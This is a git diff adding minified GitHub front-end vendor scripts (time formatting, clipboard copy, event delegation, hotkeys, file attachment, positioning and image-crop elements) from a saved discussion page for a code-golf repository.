c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
